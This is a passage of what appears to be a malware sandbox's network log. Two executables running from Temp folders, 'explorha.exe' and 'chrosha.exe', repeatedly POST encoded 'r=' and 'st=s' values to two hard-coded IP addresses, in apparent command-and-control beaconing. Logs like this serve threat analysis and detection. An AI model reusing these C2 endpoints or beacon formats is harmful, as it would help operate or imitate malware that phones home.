Apr 18, 2024 23:40:36.195616007 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:36.448177099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49846	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:36.779891014 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:37.028585911 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:37.030272007 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:37.283006907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49847	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:36.822010040 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:37.072774887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:37.124984026 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:37.389216900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49848	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:37.697559118 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:37.941118002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:37.941873074 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:38.190655947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49849	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:37.779814005 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:38.021867990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:38.022604942 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:38.268352985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49850	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:38.546093941 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:38.793869019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:38.794960022 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:39.046789885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49851	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:38.616866112 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:38.857506990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:38.858258963 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:39.101547956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49852	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:39.403016090 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:39.646164894 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:39.646836996 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:39.896148920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49853	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:39.452527046 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:39.700678110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:39.702146053 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:39.954998016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49854	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:40.253304005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:40.505703926 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:40.506822109 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:40.765331984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49855	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:40.312408924 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:40.559096098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:40.563088894 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:40.812863111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49856	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:41.124095917 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:41.369585037 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:41.374519110 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:41.625437975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49857	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:41.170958996 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:41.418265104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:41.418919086 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:41.670649052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
